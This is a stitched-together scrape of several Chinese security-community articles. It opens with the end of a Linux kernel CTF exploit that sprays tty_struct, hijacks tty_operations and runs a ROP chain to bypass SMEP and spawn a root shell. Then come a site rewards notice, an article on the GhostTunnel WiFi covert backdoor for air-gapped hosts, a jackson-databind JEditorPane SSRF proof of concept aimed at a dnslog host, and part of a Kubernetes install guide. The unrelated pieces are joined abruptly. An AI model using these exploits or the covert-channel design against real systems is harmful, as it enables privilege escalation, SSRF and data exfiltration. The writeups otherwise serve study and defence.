122. int fd2 = open("/dev/babydev", O_RDWR);
123. int fd;
124. //ioctl(fd2, 0x10001, 0xa8); // the same'11 as cred struct size
125. ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);
126. write(fd2, "hello world", strlen("hello world"));
127. close(fd1);
128. fd = fd2;
129.
130. // spray tty
131. puts("[+] Spraying buffer with tty_struct");
132. for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
133. spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
134. if (spray_fd[i] < 0) {
135. perror("open tty");
136. }
137. }
138.
139. // now we have a tty_struct in our buffer
140. puts("[+] Reading buffer content from kernel buffer");
141. long size = read(fd, buf, 32);
142. if (size < 32) {
143. puts("[-] Reading not complete!");
144. printf("[-] Only %ld bytes read.n", size);
145. }
146. puts("[+] Detecting buffer content type");
147. if (buf[0] != 0x01 || buf[1] != 0x54) {
148. puts("[-] tty_struct spray failed");
149. printf("[-] We should have 0x01 and 0x54, instead we got %02x %02xn", buf[0], buf[1]);
150. puts("[-] Exiting...");
151. exit(-1);
152. }
153.
154. puts("[+] Spray complete. Modifying function pointer");
155. unsigned long *temp = (unsigned long*)&buf[24];
156. *temp = (unsigned long)fake_tty_operations;
157.
158. puts("[+] Preparing ROP chain");
159. unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
160. unsigned long base = lower_address & ~0xfff;
161. printf("[+] Base address is %lxn", base);
162. if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
163. perror("mmap");
164. exit(1);
165. }
166.
167. unsigned long rop_chain[] = {
168. poprdiret,
169. 0x6f0,
170. native_write_cr4,
171. (unsigned long)shellcode,
172. swapgs,
173. base,
174. iretq,
175. (unsigned long)get_shell,
176. user_cs,
177. user_eflags,
178. base + 0x10000,
179. user_ss
180. };
181. memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
182.
183. puts("[+] Writing function pointer to the driver");
184. long len = write(fd, buf, 32);
185. if (len < 0) {
186. perror("write");
187. exit(1);
188. }
189.
190. puts("[+] Triggering");
191. for (int i = 0;i < 256; i++) {
192. ioctl(spray_fd[i], 0, 0); //FFFFFFFF814D8AED call rax
193. }
194.
195.}
196.
197.int main() {
198. exploit();
199. return 0;
200.}
其中，tty_struct和tty_operations都是从源码里找到的结构，不太需要解释，file_operations的存在主要是给他一个有效的指针，避免一些可能出现的错误，然后save_state函数用来保存用户空间的cs、eflags、ss的值，在iretq的时候，需要提供rip，cs,eflags,用户栈位置，ss值，所以我们要提前保存好备用。
通过打开/dev/ptmx设备，我们就新建了tty_struct。
通过计算tty_struct的大小，提前使用ioctl将buf的大小设置为一样的大小，之后新建tty_struct的时候,tty_struct就会落在这个buf里。
之后我们通过修改tty_struct的tty_operations，设置为我们自己的tty_operations即可，我们自己的tty_operations再修改ioctl为xchg
esp, eax来使得rsp指向用户空间。
而这里的位置我们提前mmap，放入rop_chain的内容，这样xchg之后rsp就指向了rop_chain开始的位置，进入了rop流程啦，最后rop结束，执行完毕，打开了root
shell，提权成功！
**总结**
通过这道题目，我们大致了解了内核ctf题目的一个流程，还学习了利用tty_struct配合rop绕过smep进行利用的一个手法，当然，还学习了直接通过cred结构进行利用的手法，以及，我们知道了内核的漏洞和用户空间的不同之处，要按多线程的思路去考虑。
我觉得最重要的是，通过这篇文章，这道题目，我们知道了内核和用户空间的差异，以及怎么样去完成一个内核利用，和最最重要的，在不明白的时候，看！源！码！
linux是个开源的操作系统，一定要利用好开源的优势，不懂的时候多去看看源码，一切都会简单许多。
**参考**
1\. <http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html>
2\. <https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html> | 社区文章 |
## 【10.11更新】先知安全技术社区`"企业安全建设"`文章奖励计划！！！
【4.25更新】先知安全技术社区"CVE原创分析”文章奖励丰厚！
【4.13更新】先知安全技术社区"勒索软件类"和“机器学习、人工智能、算法”相关文章奖励翻多倍！
### 1、征集文章类型：
* 勒索软件类：和勒索软件相关的文章，包括勒索软件的样本分析、勒索软件相关情报、勒索软件相关的数据分析和统计（如影响服务器或终端数）；以及对应勒索软件的解决方案。
* 算法类：基于算法、人工智能相关的安全检测、防护相关文章，鼓励提出新的思路。
### 2、投稿方式：
* 直接右上角`【个人中心】`-`【创建新帖子】`-`【节点模块】`选择`【技术文章】`。投稿时麻烦提供下可联系到作者的IM，方便审核沟通。（如未收到回复，联系QQ：1991308903）
* Ps: `MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧`
### 3、奖金：
* 通过审核的文章奖金是普通文章的1.5-4倍，即`900-4000元`；根据文章的质量适当提高或者降低奖金。
#### 4、奖金发放：
* 每月发放一次，奖金将于次月发放到你的支付宝账号（不扣税）。
#### 5、版权申明：
* 通过审核的文章，先知技术社区不接受一稿多投，如其他媒体需要转载，需要和先知技术社区先取得联系。原创作者转载到自己博客，请带上首发地址。
\---------------------------------------------------------------以下奖励计划长期有效-----------------------------------------------------------
亲爱的白帽子们，为了进一步提升先知社区技术交流的氛围和活跃度，先知技术社区特推出原创文章奖励计划，详细规则如下：
## 原创文章征集计划：
### 1、我们关注的原创文章类型：
* 漏洞（web、移动、二进制、无线安全均可）分析、代码审计、黑产分析、安全工具研究、企业安全建设、CVE等；
### 2、投稿方式：
* 直接右上角`【个人中心】`-`【创建新帖子】`-`【节点模块】`选择`【技术文章】`。投稿时麻烦提供下可联系到作者的IM，方便审核沟通。（如未收到回复，联系QQ：1991308903）
* Ps: `MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧`
### 3、奖金：
* 通过审核的文章奖金一般在`600-1000元`；根据文章的质量适当提高或者降低奖金。
### 4、奖金发放：
* 每月发放一次，奖金将于次月发放到你的支付宝账号（不扣税）。
### 5、版权申明：
* 文章必须是首发，通过审核的文章，先知技术社区不接受一稿多投，如其他媒体需要转载，需要和先知技术社区先取得联系。新文章发布后五个工作日为先知的原创内容保护期，不接受任何形式的文章转载（如果是先知平台的原创作者、合作伙伴如seebug，嘶吼、安全脉搏、安全客，保护期缩短至2个工作日）。请带上【首发地址】。
### 6、活动时间：
* 长期
### 7、原创文章评分标准：
* a)文章条理是否清楚
* b)完整案例分析说明
* c)技术含量，深度
* d)技术亮点
* e)分享的完整程度，(有些文章只是提一下，并没有过程。有可能过程中坑比较多，文中提及很少)
* f)原创比例
* g)是否有公开的大量的此类文章
### 8、转载已授权的原创文章：
* 1、转载别人的干货文章的（需注明转载，并且附原文地址，标题中加转载二字。若原文有注明需要作者授权，请先获得授权）。
* 2、参与方式：直接转载至论坛。
* 3、活动时间：长期。若活动截止，会提前一周通知。
## 版主招募：
### 1、招募版块
* 漏洞研究、
* 安全工具、
* 黑产分析、
* 行业资讯
### 2、要求：
* a) 在各自领域有一定的影响力，喜欢研究安全技术，有时间和热情管理和活跃论坛。
* b) 在论坛活跃，等级至少达到P6_资深安全工程师。
### 3、福利：
* a) 加入`Web Security&Penetration Testing`安全圈
* b) 其他
还等什么，立即行动起来吧~~ | 社区文章 |
# Black Hat USA 2018 Arsenal | GhostTunnel解读
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：360无线电安全研究院
## 1\. 前言
今年是360无线电安全研究院第四次登上世界顶级的安全会议Black
Hat，继4月份的HITB阿姆斯特丹站后，来自天马安全团队的柴坤哲、曹鸿健，王永涛带来的GhostTunnel再次入选了以“议题审核严苛”著名的 Black
Hat USA 2018，据悉，该会议议题接受率不足20%。
Ghost
Tunnel是一种可适用于隔离环境下的后门传输方式。一旦payload在目标设备释放后，可在用户无感知情况下对目标进行控制及信息回传。相比于现有的其他类似研究（如WHID，一种通过
Wi-Fi 进行控制的 HID 设备），
Ghost Tunnel不创建或依赖于任何有线、无线网络，甚至不需要外插任何硬件模块。
在BlackHat的演讲中，我们对之前的Ghost
Tunnel版本进行了更新，并将源码进行了开源。为了便于新来的读者，我依然会在第2，3小节中进行基础的介绍，便于理解Ghost
Tunnel的使用场景及技术原理。在第3小节的末尾部分（3.3，3.4），我将会补充之前未详细介绍的实现部分及本次更新内容。
## 2\. 背景
在本节中将会介绍“远控木马上线方式”、“网络隔离”、“HID攻击”等相关知识，部分内容引用自其他文章，在小节末将给出原文以便于大家扩展阅读。
### 2.1 远控木马上线方式
说起远控木马，大家可能会想到一大堆耳熟能详的名称，如灰鸽子、冰河、PCshare、Gh0st、白金、凤凰ABC以及Poison
Ivy等，在此我们以上线方式的角度对远控木马进行一个简单分类。
– 主动连接型
被控端开启特定端口，主控端通过该主机IP及端口连接到被控端，如3389远程桌面、VNC远程桌面等。
– 反弹连接型
由于主动连接的方式不适用于攻击目标处在内网的环境，许多木马采用反弹型进行上线。与主动连接的方式相反，由主控端监听特定端口，被控端执行木马后反连回主控端。由于该种方式的适用性更广，大部分的木马都采用该方式上线，如利用FTP上线、DNS域名解析上线等。
– 通过第三方域名型
出于隐蔽性或者反追踪的目的，有些新型的木马采用第三方网站来进行上线。比如通过知名博客类网站的文章内容及评论区，利用QQ空间、微博、推特的推送内容，甚至笔者还见过利用QQ个性签名来作为上线地址。八仙过海各显神通，利用知名网站的好处是可以绕过某些防火墙的白名单限制。
>《木马的前世今生：上线方式的发展及新型上线方式的实现》
http://www.freebuf.com/articles/terminal/77412.html
其实，Ghost Tunnel也可以理解为一种木马的上线方式，只是它更针对于攻击目标处在隔离网络中的场景。
### 2.2 什么是Air Grapping
> Wikipedia: “An air gap, air wall or air gapping is a network security
> measure employed on one or more computers to ensure that a secure computer
> network is physically isolated from unsecured networks, such as the public
> Internet or an unsecured local area network.”
简单来说，Air Grapping是一种用于保护特定网络，采用物理隔离的安全措施，通常被用来防止利用网络连接途径造成的入侵及信息泄漏事件。
隔离网闸是常见的一种形态，其原理为：切断网络之间的通用协议连接；将数据包进行分解或重组为静态数据；对静态数据进行安全审查，包括网络协议检查和代码扫描等；确认后的安全数据流入内部单元；内部用户通过严格的身份认证机制获取所需数据。其经常被使用在涉密网与非涉密网间。
攻击者无论是想利用操作系统、应用软件、通信协议的漏洞，都需要通过网络触碰目标机器，而网络隔离环境中就将这条路给封住了。不过凡事没有绝对，一些大新闻告诉我们利用恶意USB就是一种具有可操作性的攻击方式，以下就是几个针对隔离网攻击的案例。
**震网病毒 Stuxnet Worm**
著名的震网病毒便利用了USB的方式将病毒传入隔离网络，随后将病毒传播到网络中的其他设备。在适当的时候给工控机器下发错误指令，导致机器异常直至报废。最终震网病毒导致伊朗的核计划被迫延迟至少两年。
**水蝮蛇一号 COTTONMOUTH-I**
在斯诺登披露的NSA秘密武器中包含了该工具，其内部包含了一套 ARMv7
芯片和无线收发装置。当它插入目标主机后，植入恶意程序并创建一个无线网桥，配套的设备可通过RF信号与其进行交互，传输命令及数据。同样，它被NSA用于攻击伊朗的秘密机构，从物理隔离的设备中窃取数据长达数年。
### 2.3 HID攻击
HID是Human Interface
Device的缩写，由其名称可以了解HID设备是直接与人交互的设备，例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口，只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。
**Teensy**
攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启，都可以成功。
**USB Rubber Ducker**
简称USB橡皮鸭，是最早的按键注入工具，通过嵌入式开发板实现，后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘，让电脑识别成为键盘，然后进行脚本模拟按键进行攻击。
**BadUSB**
Teensy和橡皮鸭的缺陷在于要定制硬件设备，通用性比较差。但是BadUSB就不一样了，它是在“USB RUBBER
DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备（比如U盘）。BadUSB就是通过对U盘的固件进行逆向重新编程，相当于改写了U盘的操作系统而进行攻击的。
**BashBunny**
可以发动多种payload是这款设备的一大特色。将开关切换到相应payload选择（上图中的Switch Position 1/2），将Bash
Bunny插入目标设备，观察LED灯的变化就能了解攻击状态。在硬件方面，设备中包含1颗四核CPU和桌面级SSD，Hak5介绍说此设备从插入到攻击发动只需要7秒。此外，这款Bash
Bunny设备实际上拥有Linux设备的各种功能，通过特定串口可访问shell。绝大部分渗透测试工具的功能都能在其中找到。
**DuckHunter**
在Kali Linux NetHunter中提供了该工具。它可以将USB Rubber Ducky的脚本转化为NetHunter 自有的HID
Attacks格式，由此我们将刷有Nethunter的Android设备通过数据线与电脑相连便能模拟键盘进行输入。
**WHID**
WHID就是WiFi +HID的组合，WHID注入器顾名思义就是对HID攻击进行无线化攻击时的一种注入工具，通过在USB设备上提供WiFi功能以供远程控制。
>《HID攻击之TEENSY实战》
<http://blog.topsec.com.cn/ad_lab/hid%E6%94%BB%E5%87%BB%E4%B9%8Bteensy%E5%AE%9E%E6%88%98/>
>《新的U盘自动运行——BadUSB原理与实现》
<https://security.tencent.com/index.php/blog/msg/74>
>《据说是“最先进的USB攻击平台”》
<http://www.freebuf.com/news/128788.html>
> 《DuckHunterHID for mac》
<http://www.ggsec.cn/DuckHunterHID.html>
> 《WHID注入器：在无线环境下实现HID攻击的最新利器》
<http://www.4hou.com/technology/4565.html>
## 3\. Ghost Tunnel
对于隔离网络的攻击一般有两个步骤：
1\. 在目标系统植入恶意软件
2\. 建立数据通道，(infiltrate & exfiltrate)，以便执行命令和窃取数据。
根据之前的案例可以看到，任何可以承载数据的媒介都是可以用来建立数据通信的通道。Ghost Tunnel便是一个利用WiFi信号的隐蔽传输通道。
首先，以HID攻击为例：我们使用BashBunny或者DuckHunter等HID工具将恶意程序植入受害者设备，比如一台Windows笔记本。随后恶意程序将使用受害者设备的**内置无线通信模块**与另一台由攻击者控制的设备建立端到端的WiFi传输通道。此时，攻击者就可以远程执行命令并窃取数据。
演示效果如下：
<https://v.qq.com/x/page/a0647p75qrp.html>
值得注意的是，Ghost
Tunnel指的是通过利用受害者设备自身的无线模块来建立传输通道的一种方式，其并不仅局限于使用HID攻击来植入恶意程序，实际上以其他方式植入也是可行的。
### 3.1 优势
Ghost Tunnel的实现方式具有这几个优势：
– HID设备只用于植入攻击代码，当植入完成就可以移除了。（HID攻击外的其他植入方式也是可以的）
– 没有正常的网络流量，可以绕过防火墙检测。
– 不会对现有的网络通信及连接状态造成影响。
– 跨平台支持。该攻击可用于任何拥有WiFi模块的设备，我们在Win7、Win10、Mac OSX、Linux上进行了测试。
– 可支持最高256个受控端.
– 可在50米内工作，配合信号桥接设备理论上可做到无限远。
### 3.2 原理
在正常的Wi-Fi通信中，一个站点必须经历Beacon，Probe，Authentication，Association等过程后才能建立与接入点的连接，其整个流程如下图。
而Ghost Tunnel并没有使用正常的Wi-Fi连接，而只用到了Beacon、Probe 帧，如下图。
为什么用这三个帧呢？在802.11的状态机中，取决于认证和关联的状态，一共有三个阶段。
在State
1时，客户端处于Unauthenticated、Unassociated状态。而该阶段可以使用的802.11帧有以下具体几种，其中就包含了Probe
Request，Probe Response，Beacon帧。
原本它们被使用在无线网络扫描阶段。当802.11客户端在扫描可用无线网络时，有两种扫描方式：
– 主动扫描，客户端主动发送Probe Request，接收由接入点返回的Probe Response。
– 被动扫描，客户端在每个频道监听AP周期性发送的Beacon。
总而言之，Ghost Tunnel通过Probe，Beacon帧来进行通信，并不建立完整的WiFi连接。
首先攻击者创建一个具有特殊SSID的AP，攻击者和受害设备都使用它作为通信的标识符（而不是常规WiFi通信中的MAC）。此时，攻击者通过解析受害者设备发出的Probe帧得到数据；受害者设备上的恶意程序将解析攻击者发出的Beacon帧来执行命令并返回数据。这便是Ghost
Tunnel WiFi隐蔽传输通道的秘密。
### 3.3 更新及开源
配合着本次在Black Hat上的分享，我们对Ghost Tunnel进行了以下更新：
– 除了远程shell外，还添加了文件下载功能
– 优化了传输效率
– 可自行添加其他需要的功能
同时，我们将Ghost Tunnel的服务端与Windows受控端部分进行了开源：
<https://github.com/360PegasusTeam/GhostTunnel>，读者可自行下载编译安装，搭建实验环境。
### 3.4 实现
前面提到，控制端与被控端采用Beacon和Probe Request帧进行通信，通信数据嵌入到Information Elements
的SSID和Vendor Specific元素中，使用一个字节的标识符进行数据识别。
在控制端，使用到了aircrack-ng项目中的osdep模块，并利用一块具有“监听模式”和“包注入”功能的无线网卡进行数据收发。相关底层原理可参考下图进行了解：
在Windows被控端中，通过Windows Native WiFi
API来操作Windows设备的无线网卡进行数据收发。关于windows的802.11软件架构可参考此图：
**代码架构设计**
控制端和被控端总体依照数据流向采用模块化设计。
控制端：
“`
gt_common.h：数据格式等相关定义
gt_server类：负责初始化及总体功能控制
gt_console类：负责控制台的输入输出
edit目录：hostapd项目关于console的操作功能
packet目录：mdk4项目（自家项目）关于802.11数据帧组装部分的功能
libwifi目录：aircrack-ng中osdep数据收发功能，kismet wifi网卡控制功能
“`
Windows被控端：
“`
wtunnel类：数据收发功能
data_handler类：数据处理及功能
“`
通信数据格式如下：
```
typedef struct _tunnel_data_header
{
unsigned char flag; // tunnel 数据标志
unsigned char data_type; // 数据类型
unsigned char seq; // 发送数据包编号
unsigned char client_id; // 被控端ID
unsigned char server_id; // 控制端ID
unsigned char length; // 数据长度
}tunnel_data_header;
```
基于传输效率的考虑，代码中并没有对数据进行确认及校验，只是对重复的数据进行了过滤。
数据类型定义：
```
#define TUNNEL_CON 0x10 // 建立连接
#define TUNNEL_SHELL 0x20 // Shell功能
#define TUNNEL_FILE 0x30 // 文件下载功能
#define DATA_IN_VENDOR 0x80// 发送数据不超过32字节，只填充SSID，超过32字节会填充Vendor Specific
typedef enum _TUNNEL_DATA_TYPE
{
TUNNEL_CON_CLIENT_REQ = 0x11,
TUNNEL_CON_SERVER_RES,
TUNNEL_CON_HEARTBEAT,
TUNNEL_SHELL_INIT = 0x21,
TUNNEL_SHELL_ACP,
TUNNEL_SHELL_DATA,
TUNNEL_SHELL_QUIT,
TUNNEL_FILE_GET = 0x31,
TUNNEL_FILE_INFO,
TUNNEL_FILE_DATA,
TUNNEL_FILE_END,
TUNNEL_FILE_ERROR,
}TUNNEL_DATA_TYPE;
```
## 4\. 后记
在Ghost Tunnel的实现中，我们使用到了以下项目的部分代码，在此对它们表示感谢。
– Aircrack-ng <https://github.com/aircrack-ng/aircrack-ng>
– hostapd <http://w1.fi/hostapd>
– Kismet <https://github.com/kismetwireless/kismet>
– MDK4 <https://github.com/aircrack-ng/mdk4>
> PS：MDK4是MDK3项目的新版本，增加了对5GHz WiFi及其他功能的支持，目前由PegasusTeam维护。
最后分享一些现场照片，让大家感受一下BlackHat的气氛。
Arsenal区入口：
认真准备中：
演示进行中：
现场有一位一直站在最后认真做笔记的小哥哥，我就用他来结束本文吧 | 社区文章 |
## 影响范围
* jackson-databind before 2.9.10.3
* jackson-databind before 2.10.2
## 利用条件
开启enableDefaultTyping()
## 漏洞概述
漏洞类javax.swing.JEditorPane来源于JDK不需要依赖任何jar包，该类在jackson-databind进行反序列化时可造成SSRF
## 漏洞复现
### 环境搭建
pom.xml文件如下：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.3</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
### 漏洞利用
Poc.java代码如下所示
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"javax.swing.JEditorPane\",{\"page\":\"http://qb7fky.dnslog.cn\"}]";
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后在DNSlog端成功收到请求：
## 漏洞分析
首先定位到javax.swing.JEditorPane类的setPage方法，之后在此处下断点进行断点调试分析：
在setPage方法中会首先去判断传入的page是否为空，如果为空则抛出异常信息，不为空则初始化一个page上下文环境(矩形：长高各为1，从(0,0)开始，类似于一个新建的word文档)：
之后设置reloaded为false，并根据之前返回的loaded是否为空等组合判断语句来决定是否进入if语句中，而loaded源自getPage()，getPage为空所以此时的loaded为null，即满足if条件的第一项，由于是采用的或关系条件判断语句，所以直接进入if语句中执行后续代码：
之后通过函数getAsynchronousLoadPriority来判断document的加载优先级并将其赋值给p变量，从下述代码中可以看出如果不支持则返回“-1”：
之后判断p的值是否小于0，如果小于0，则进入if语句中，此时的p返回值为—“-1”，之后进入if语句中，之后page(我们构造DNSlog域名)会作为参数传递进入getStream中，我们继续跟进去：
之后可以看到在在getStream中调用page.openConnection()从而得到一个HttpURLConnection对象实例：
之后判断新建的conn是否是一个HttpURLConnection对象的实例：
之后新建HttpURLConnection实例对象，并将conn赋值给hconn，之后设置是否跟随重定向，以及postData，然而此时的postData并没有任何数据信息，所以会直接跳过if语句：
之后继续跟进getResponseCode获取响应值的函数中：
之后调用getInputStream()，并确保我们已经连接到服务器，如果没有status信息，则抛出异常，下面我们继续跟进到getInputStream()函数中：
可以看到，截止目前为止我们还未连接到目标服务器，connecting为false，而接下来要做的就是连接目标服务器，也就是我们传递进去的DNSlog域名地址，我们继续跟进分析：
之后connecting被设置为"true"，并检查URL的Socket通信是否允许，之后调用getInputStream0()函数：
在getInputStream0()函数中首先判断此时的doInput是否为false，如果此时的doInput为false则无法使用URL连接进行输入，也无法判断是否成功连接，故而会抛出异常，此时doInput为true，之后进入到else判断语句中，而此时的rememberException为null，所以也不会进入后续的else中，直接继续往下执行：
streaming为false，继续跳过if中的语句，往下执行：
之后一路往下跟踪，最后调用this.connect()来建立连接：
之后调用this.plainConnect()方法
之后再去调用plainConnect0():
之后跟进到this.getNewHttpClient(this.url, var4, this.connectTimeout);处，下面继续跟进去
之后调用get方法，并设置keep-alive：
....
之后来到HttpClient()处，继续跟进：
设置请求参数(host、port、proxy、keeepAliveConnection、KeepAliveTimeout等等)
之后调用openServer()开启连接：
之后检查协议等信息，并调用openServer(host,port)来建立连接，下面继续跟进：
之后再次调用doConnect()：
之后调用InetSocketAddress()函数：
之后调用InetAddress.getByName()，这个函数想必大家已经都很熟悉了，该函数在给定的主机名的情况下来获取主机的IP地址，这也是触发SSRF的根本所在点：
同时在DNSLog端也接收到请求：
整个跟踪流程相对来说转接很多，涉及多个文件，有兴趣的小伙伴可以尝试跟踪分析一波看看~
## 补丁分析
官方在github的更新方式依旧是添加javax.swing.JEditorPane至黑名单类，但这种方式治标不治本，后续可能出现其他绕过黑名：
<https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60>
## 修复建议
及时将jackson-databind升级到安全版本
升级到较高版本的JDK。
## 参考链接
<https://github.com/FasterXML/jackson-databind/issues/2642>
<https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60> | 社区文章 |
看到运维群里的小伙伴都在研究k8s，而且在国内这方面的安全资料非常的少，所以才有了我这篇文章。
所以接触k8s以来也就一个星期时间，把大部分概念简单的理解下就去复现各种关于k8s安全相关的问题。
### Kubernetes架构
`Kubernetes Cluster`是Master的大脑，运行着的Daemon服务包括 **kube-apiserver** 、 **kube-scheduler** 、 **kube-controller-manager** 、 **etcd** 、 **Pod网络（flannel）**
#### Master组件
**API Server**
提供 **HTTP/HTTPS RESTful API**
,是Cluster前端接口，各种客户端工具以及Kubernetes其他组件可以通过它管理Cluster的各种资源。
它提供了对集群各种资源访问和控制的REST API,管理员可以通过kubectl或者第三方客户端生成HTTP请求，发送给API
Server。或者是集群内部的服务通过API Server对集群进行控制操作（比如dashborad）。
集群内部的各种资源，如Pod、Node会定期给API Server发送自身的状态数据。而Master中的Controller
Manager和Scheduler也是通过API Server与etcd进行交互，将系统的状态存入etcd数据库或者从etcd中读出系统状态。
**Scheduler**
Scheduler负责决定将Pod放在哪个Node上。会对各个节点的负载、性能、数据考虑最优的Node。
**Controller Manager**
负责管理Cluster资源，保证资源处于预期状态。Controller Manager由多种controller组成： **replication
controller** 、 **endpoints controller** 、 **namespace controller** 、 **service
accounts controller** 等。
不同的controller管理不同的资源。
**etcd**
etcd保存Cluster配置信息和各种资源的状态信息。当数据发生变化时，etcd会快速通知Kubernetes相关组件。
**Pod网络**
Pod要能够相互通信，Cluster必须部署Pod网络，flannel是其中之一。
#### Node组件
**Node节点**
Node运行组件有： **kubelet** 、 **kube-proxy** 、 **Pod网络（flannel）**
**kubelet**
kubelet是Node的agent，Scheduler会将Pod配置信息发送给该节点的kubelet，kubelet根据这些信息创建和运行容器，并向Master报告运行状态。
**kube-proxy**
每个Node运行kube-proxy服务，负责将访问service的TCP/UDP数据流转发到后端的容器。如果有多个副本会实现负载均衡。
**Pod网络**
Pod要能够相互通信，Cluster必须部署Pod网络，flannel是其中之一。
Master也是可以运行应用，同时也是一个Node节点。
几乎所有Kubernetes组件运行在Pod里。
`kubectl get pod --all-namespaces -o wide`
Kubernetes系统组件都被放到kube-system namespace中。
kubelet是唯一没有以容器形式运行在Kubernetes组件中，它在System服务运行。
一个例子，当执行：
`kubectl run https-app --image=httpd --replicas=2`
1. kubectl 发送部署请示到API Server。
2. API Server通知Controller Manager创建一个deployment资源。
3. Scheduler执行调度任务，将两个副本Pod分发到node1､node2.
4. node1和node2上的kubectl在各自的节点上创建并运行Pod。
**Katacoda提供了在线学习平台，可以不用安装k8s就可以操作。**
* * *
### 使用Ansible脚本安装K8S集群
<https://github.com/gjmzj/kubeasz>
这里我使用3台机器进行安装
IP | 节点 | 服务
---|---|---
192.168.4.110 | master | Deploy,master,lb1,etcd
192.168.4.114 | node1 | etcd,node
192.168.4.108 | node2 | etcd,node
在三台机器上的准备工作：
yum install epel-replease
yum update
yum install python
#### Deploy节点安装和准备ansible
yum install -y python-pip git
pip install pip --upgrade -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
pip install --no-cache-dir ansible -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
生成ssh公私钥
ssh-keygen
复制到各机器上,包括本机
ssh-copy-id 192.168.4.110
ssh-copy-id 192.168.4.114
ssh-copy-id 192.168.4.108
#使用ssh连接测试
#### Deploy上编排k8s
git clone https://github.com/gjmzj/kubeasz.git
mkdir -p /etc/ansible
mv kubeasz/* /etc/ansible/
从百度云网盘下载二进制文件 `https://pan.baidu.com/s/1c4RFaA#list/path=%2F`
根据自己所需版本
tar zxvf k8s.1-11-2.tar.gz
mv bin/* /etc/ansible/bin/
#### 配置集群参数
`[root@master ~]# cd /etc/ansible/`
`[root@master ansible]# cp example/hosts.m-masters.example hosts`
# 集群部署节点：一般为运行ansible 脚本的节点
[deploy]
192.168.4.110 NTP_ENABLED=no
# etcd集群请提供如下NODE_NAME，注意etcd集群必须是1,3,5,7...奇数个节点
[etcd]
192.168.4.110 NODE_NAME=etcd1
192.168.4.114 NODE_NAME=etcd2
192.168.4.108 NODE_NAME=etcd3
[kube-master]
192.168.4.110
192.168.4.107
[kube-node]
192.168.4.114
192.168.4.108
# 负载均衡(目前已支持多于2节点，一般2节点就够了) 安装 haproxy+keepalived
[lb]
192.168.4.107 LB_IF="ens33" LB_ROLE=backup
192.168.4.110 LB_IF="eno16777736" LB_ROLE=master
# 集群 MASTER IP即 LB节点VIP地址，为区别与默认apiserver端口，设置VIP监听的服务端口8443
# 公有云上请使用云负载均衡内网地址和监听端口
MASTER_IP="192.168.4.110"
KUBE_APISERVER="https://{{ MASTER_IP }}:8443"
# 集群basic auth 使用的用户名和密码
BASIC_AUTH_USER="admin"
BASIC_AUTH_PASS="test1234"
修改完hosts文件通过`ansible all -m ping`测试
192.168.4.108 | SUCCESS => {
"changed": false,
"ping": "pong"
}
192.168.4.110 | SUCCESS => {
"changed": false,
"ping": "pong"
}
192.168.4.114 | SUCCESS => {
"changed": false,
"ping": "pong"
}
#### 分步安装
##### 01.创建证书和安装准备
ansible-playbook 01.prepare.yml
##### 02.安装etcd集群
ansible-playbook 02.etcd.yml
##### 03.安装docker
ansible-playbook 03.docker.yml
##### 04.安装master节点
ansible-playbook 04.kube-master.yml
`kubectl get componentstatus` //查看集群状态
##### 05.安装node节点
ansible-playbook 05.kube-node.yml
查看node节点
`kubectl get nodes`
NAME STATUS ROLES AGE VERSION
192.168.4.108 Ready node 8h v1.11.6
192.168.4.110 Ready master 8h v1.11.6
192.168.4.114 Ready node 8h v1.11.6
##### 06.部署集群网络
ansible-playbook 06.network.yml
查看`kube-system namespace`上的`pod`
NAME READY STATUS RESTARTS AGE
coredns-695f96dcd5-86r5q 1/1 Running 0 8h
coredns-695f96dcd5-9q4fl 1/1 Running 0 3h
kube-flannel-ds-amd64-87jj7 1/1 Running 1 8h
kube-flannel-ds-amd64-9twqj 1/1 Running 2 8h
kube-flannel-ds-amd64-b4xbm 1/1 Running 1 8h
kubernetes-dashboard-68bf55748d-2bvmx 1/1 Running 0 8h
metrics-server-75df6ff86f-tvp8t 1/1 Running 0 8h
##### 07.安装集群插件（dns、dashboard）
